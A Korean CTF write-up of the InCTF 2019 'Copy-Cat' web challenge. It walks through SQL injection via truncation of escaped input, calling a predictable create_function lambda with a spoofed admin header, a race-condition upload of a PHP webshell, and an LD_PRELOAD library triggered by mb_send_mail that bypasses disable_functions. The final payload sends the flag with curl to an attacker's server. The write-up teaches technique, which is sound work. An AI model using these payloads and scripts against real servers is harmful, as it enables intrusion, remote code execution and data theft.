InCTF 2019 Copy-Cat Write up
2019-09-24 / JeonYoungSin

2019-09-24 오후 10-30-04

해당 문제는 인도의 bi0s Team에서 주최한 InCTF 2019Copy-Cat이란 Web 문제입니다.

문제 풀면서 얻어간 것도 있고, 개인적으로는 해당 대회에서 가장 재밌게 푼 문제라 Write up을 작성하게 되었습니다.


문제분석

문제 소스 : Copy-Cat.zip

해당 문제는 전체 소스코드를 제공해주는 화이트박스 형식의 문제였습니다. 소스코드 분석에 앞서 문제 사이트에 먼저 들어가보면 아래와 같이 간단한 로그인 기능만 보이는 것을 볼 수 있습니다.

image

해당 기능을 통해 뭘 해야하는지 다운받은 코드를 분석해보면 로그인 시 아래와 같은 형태로 계정명,비밀번호를 check 함수를 통해 검증하고 있는 것을 볼 수 있습니다.

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

include("config.php");
include("functions.php");

session_start();

$user = $_POST['username'];
$pass = $_POST['password'];

$user = check($user);
$pass = check($pass); //I know you are naughty!!


$sql = "SELECT username, password FROM inctf2019_cat WHERE username='" .$user ."' && password='" .$pass ."'";
$result = $conn->query($sql);


if ($result->num_rows > 0 || $_SESSION['logged']==1){
$_SESSION['logged'] = 1;
header("Location: admin.php");
}
else{
echo "Incorrect Credentials"."<br>";
}

$conn->close();


?>

check 함수에서 수행하는 동작은 아래와 같습니다. 먼저 real_escape_string 함수를 통해 ‘,”,\ 와 같은 특수문자에 \ (backslash)를 추가해 SQL Injection을 방어한 뒤 길이 값을 확인해 5~11 글자의 입력 값만 받는 것을 볼 수 있습니다.

config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
..생략..
function escape($str){
global $conn;
$str = $conn->real_escape_string($str);
return $str;
}

function check($tocheck){
$tocheck = trim(escape($tocheck));
if(strlen($tocheck)<5){
die("For God Sake, don't try to HACK me!!");
}
if(strlen($tocheck)>11){
$tocheck = substr($tocheck, 0, 11);
}
return $tocheck;
}
..생략..

여기서 해당 코드를 주의깊게 보면 입력 값의 길이가 11글자보다 크면 substr를 통해 입력 값을 자르는 걸 볼 수 있는데, 이를 통해 real_escape_string 함수를 통해 추가된 backslash를 무력화시켜 SQL Injetcion을 수행할 수 있게 됩니다. 공격 원리는 아래와 같습니다.

1
username = 1234567890\ -> real_escape_string  -> 1234567890\\ -> substr(1234567890\\,0,11) -> 1234567890\

위와 같이 substr을 통해 최종적으로 real_escape_string를 통해 추가된 \를 제거할 수 있고 추가로 password에 인젝션 구문을 넣어주면 SQL Injection을 통해 참 값을 만들 수 있게 됩니다.

1
2
3
4
5
payload
username = 1234567890\ , password = or 1#

result
$sql = "SELECT username, password FROM inctf2019_cat WHERE username='1234567890\' && password=' or 1#';

이제 해당 payload로 로그인에 성공해 admin.php 페이지에 가게되면 “Sorry, It seems you are not Admin…are you? If yes, proove it then !!“ 란 메시지가 저희를 반겨줍니다. 뭐가 문젠지 코드를 다시보면

functions.php

1
2
3
4
5
6
7
..생략..
function is_admin(){
if($_SESSION['admin']!="True"){
die("Sorry, It seems you are not Admin...are you? If yes, proove it then !!");
}
}
..생략..

세션에 admin 값이 True로 세팅되어 있어야 하는 것을 볼 수 있습니다. 그럼 이제 해당 값이 언제 True로 세팅되는지 전체 코드에서 검색해보면 아래와 같은 형태의 로직이 존재하는 것을 볼 수 있습니다.

remote_admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

include "functions.php";
session_start();

is_login();

# If admin wants to open his website remotely

$remote_admin = create_function("",'if(isset($_SERVER["HTTP_I_AM_ADMIN"])){$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_I_AM_ADMIN"];}');

$random = bin2hex(openssl_random_pseudo_bytes(32));

eval("function admin_$random() {"
."global \$remote_admin; \$remote_admin();"
."}");

send($random);

$_GET['random'](); //Only Admin knows next random value; You don't have to worry about HOW?

if($_SERVER['REMOTE_ADDR']=="127.0.0.1"){
$_SESSION['admin'] = "True";
}


?>

코드를 분석해보면 $_SERVER["REMOTE_ADDR"]를 통해 해당 페이지에 접근한 아이피가 127.0.0.1일 때만 세션 내 admin 값을 True로 세팅되는걸 볼 수 있습니다. 이를 가능하게 하려면 $_SERVER["HTTP_I_AM_ADMIN"] 의 값을 127.0.0.1로 덮은 후 create_function을 통해 생성된 함수를 호출해주면 됩니다.

함수 호출과 같은 경우 PHP에선"문자열"(); 형태로 함수 호출이 가능하기 때문에 $_GET['random'](); 코드를 통해 함수 호출이 가능합니다. 이를 토대로 함수를 호출하려고 보면, create_function 함수를 통해 생성된 익명함수는 변수형태로 존재해 문자열 형태로 호출이 불가하고, 해당 함수를 호출해주는 admin_$random 함수는 $random 값이 랜덤한 값으로 요청시마다 세팅되기 때문에 호출이 불가한 것을 볼 수 있습니다.

이를 우회하기 위해 이것저것 생각해보다 php create_function의 소스코드를 분석해보았고 아래와 같은 사실을 알 수 있었습니다.

zend_builtin_function.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#define LAMBDA_TEMP_FUNCNAME	"__lambda_func"
/* {{{ proto string create_function(string args, string code)
Creates an anonymous function, and returns its name (funny, eh?) */
ZEND_FUNCTION(create_function)
{
..생략..

function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0);
ZSTR_VAL(function_name)[0] = '\0';

do {
ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1;
} while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL);
RETURN_NEW_STR(function_name);
} else {
zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1);
RETURN_FALSE;
}
}

위 코드를 보면 create_function 함수 호출 후 반환되는 값이 \x00lambda_%d 형태인 것을 확인할 수 있었고, 실제 로컬에서 테스트해본결과 \x00lambda\_1,\x00lambda_2 형태의 문자열 형태로 익명 함수 name이 반환되는 걸 볼 수 있었습니다.

그럼 다시 문제코드로 돌아와, 우리는 아래와 같이 $remote_admin 변수에 담기는 익명 함수명의 문자열 값을 예측할 수 있기 때문에 admin_$random() 함수의 호출 없이 익명 함수를 호출해 관리자 권한을 획득할 수 있습니다.

1
$remote_admin = create_function("",'if(isset($_SERVER["HTTP_I_AM_ADMIN"])){$_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_I_AM_ADMIN"];}');

payload

1
2
3
4
5
6
7
GET /remote_admin.php?random=%00lambda_1 HTTP/1.1
Host: 3.15.186.158
Cache-Control: max-age=0
I-AM-ADMIN: 127.0.0.1
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=2grnkh3472812hpf3jg4p2m5g6
Connection: close

이제 admin 권한을 획득한 뒤 admin페이지에 다시 접근 하면 아래와 같은 업로드 기능이 존재합니다.

image

해당 기능을 수행하는 코드는 다음과 같습니다.

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
session_start();
include("functions.php");

is_login();
is_admin();

$SANDBOX = getcwd() . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (isset($_FILES['file'])) {
ExtractZipFile($_FILES['file']['tmp_name'], $SANDBOX);
CheckDir($SANDBOX);
echo "File is at: " . "/uploads/" . md5("xxSpyD3rxx" . $_SERVER["REMOTE_ADDR"] . "xxxisbackxxx");
}


?>

functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
..생략..
function ExtractZipFile($file,$path){
$zip = new ZipArchive;
if ($zip->open($file) === TRUE) {
$zip->extractTo($path);
$zip->close();
}
}

function CheckDir($path) {
$files = scandir($path);
foreach ($files as $file) {
$filepath = "$path/$file";
if (is_file($filepath)) {
$parts = pathinfo($file);
$ext = strtolower($parts['extension']);
if (strpos($ext, 'php') === false &&
strpos($ext, 'pl') === false &&
strpos($ext, 'py') === false &&
strpos($ext, 'cgi') === false &&
strpos($ext, 'asp') === false &&
strpos($ext, 'js') === false &&
strpos($ext, 'rb') === false &&
strpos($ext, 'htaccess') === false &&
strpos($ext, 'jar') === false) {
@chmod($filepath, 0666);
} else {
@chmod($filepath, 0666); // just in case the unlink fails for some reason
unlink($filepath);
}
} elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
CheckDir($filepath);
}
}
}
..생략..
?>

코드 흐름은 다음과 같습니다.

업로드한 Zip 파일 압축 해제 -> ./uploads/md5_hex_value/ 디렉토리에 압축된 파일들 생성 -> 생성된 파일들의 확장자를 검증해 필터 대상인 경우 삭제

위 흐름대로라면 파일 생성 후 삭제가 이루어지며, 생성될 파일명 및 경로가 고정되어 있기 때문에 Race Condition이 가능해 집니다.

이를 통해 파일 업로드 마다 삭제되는 php 확장자 파일 호출이 가능해지며, 웹쉘 업로드가 가능해집니다.

Race Condition 시 사용한 코드는 아래와 같습니다.

youngsin.php (해당 파일을 압축해 youngsin.zip 생성)

1
2
3
4
5
<?php 
mkdir("../youngsin/");
file_put_contents("../youngsin/webshell.php",'<?php eval($_GET[0]);?>');
echo "WebShell Path = ".getcwd()."/../youngsin/webshell.php";
?>

raceCondition.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import threading

def upload_zip():
for i in range(0,1000):
url = "http://3.15.186.158/upload.php"
multiple_files = [
('file', ('foo.png', open('C:\Users\Administrator\Desktop/1/youngsin.zip',"rb"), 'application/x-zip-compressed'))]
header = {"Cookie":"PHPSESSID=2grnkh3472812hpf3jg4p2m5g6"}
result = requests.post(url,headers=header,files=multiple_files).text

def get_shell():
for i in range(0, 1000):
url = "http://3.15.186.158/uploads/e8d8a3c4bd79dbe75be52c8328e2f1bb/youngsin.php"
header = {"Cookie": "PHPSESSID=2grnkh3472812hpf3jg4p2m5g6"}
result = requests.get(url, headers=header).text
if "404 Not Found" not in result:
print result

threads = []

for i in range(0,100):
threading.Thread(target=upload_zip,args=('')).start()
threading.Thread(target=get_shell, args=('')).start()

Result

1
WebShell Path = /var/www/html/uploads/e8d8a3c4bd79dbe75be52c8328e2f1bb/../youngsin/webshell.php

생성된 웹쉘에 접근해보면 정상적으로 웹쉘이 업로드된걸 볼 수 있습니다.

image


이제 웹쉘까지 올렸겠다 그냥 플래그 파일 읽으면 될 것 같지만 플래그 파일의 권한이 오직 실행권한만 존재하기 때문에 단순 File Function으로는 플래그를 획득할 수 없고 쉘을 따야했습니다.

그럼 이제 쉘을 따기위해 호출가능한 함수를 찾아야하는데 disable_functions이 다음과 같이 세팅되어 있었습니다.

disable_functions

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,proc_open,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,error_log,system,exec,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,mail,fread,fopen,file_get_contents,readfile,chdir

일단 기본적으로 php에서 지원하는 모든 쉘 관련 함수가 막혀있는걸 볼 수 있었습니다. 추가로 시도해볼만한 LD_PRELOAD를 이용한 기법과 같은 경우 putenv는 활성화 되어있지만 내부적으로 execve를 호출하는걸로 알려져있는 mail,imap_open,error_log,syslog가 막혀있었고, imagick 모듈과 같은 경우 따로 설치되어 있지 않아 사용이 불가했습니다.

여기서 추가로 다른방법같은게 있나 유심히 phpinfo 페이지를 확인하다보면 mbstring라는 확장 모듈이 설치되어 있는걸 볼 수 있습니다.

image

해당 모듈이 설치된 경우 Multibyte character encoding을 지원하는 함수들 사용이 가능한데, 사용 가능한 함수 중 아래와 같이 mail함수와 매칭되는 mb_send_mail이 존재합니다.

image

해당 함수와 같은 경우 인코딩 부분을 제외하곤 mail함수와 동일한 형태로 수행될 것이기 때문에 내부적으로 execve를 통한 sendmail 호출이 이루어지고, disable_function에는 적용이 되어있지 않아 LD_PRELOAD 기법을 통해 쉘 획득이 가능해집니다.

LD_PRELOAD를 통해 쉘을 획득하는 방식은 간단하게 설명하면 아래와 같습니다.

  1. execve를 오버라이딩하는 공유 라이브러리 생성 (ex: gcc -shared -fPIC evil.c -o evil.so)
  2. so 파일 업로드
  3. php의 putenv를 통해 업로드한 so 파일을 LD_PRELOAD로 등록
  4. php에서 내부적으로 execve를 호출하는 함수(ex:mail,imap_open,error_log 등) 호출

추가적으로 해당 기법에 대해 궁금하신분들은 구글에 php ld_preload bypass 와 같은 형태로 검색하시면 좋은 자료가 많으니 참고해주시면 될 것 같습니다.

위 공격과정을 수행할 코드는 아래와 같습니다.

evil.c

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>

u_int getuid(void){

char *command;
command = getenv("youngsin");
system(command);

return 0;
}

php payload

1
/uploads/youngsin/webshell.php?0=putenv("LD_PRELOAD=/tmp/evil.so");putenv("youngsin=curl http://my_ip:9996/ -d id=`/readFlag|base64|tr -d '\n'`");mb_send_mail("a","a","a");

해당 Payload를 실행하게되면 공격자 서버로 전송된 Flag를 획득할 수 있습니다.

Flag = inctf{Ohh,you_are_the_ultimate_chainer,Bypassing_disable_function_wasn't_fun?:SpyD3r}

레퍼런스

https://www.php.net/manual/en/mbstring.installation.php
https://www.php.net/manual/en/function.mb-send-mail.php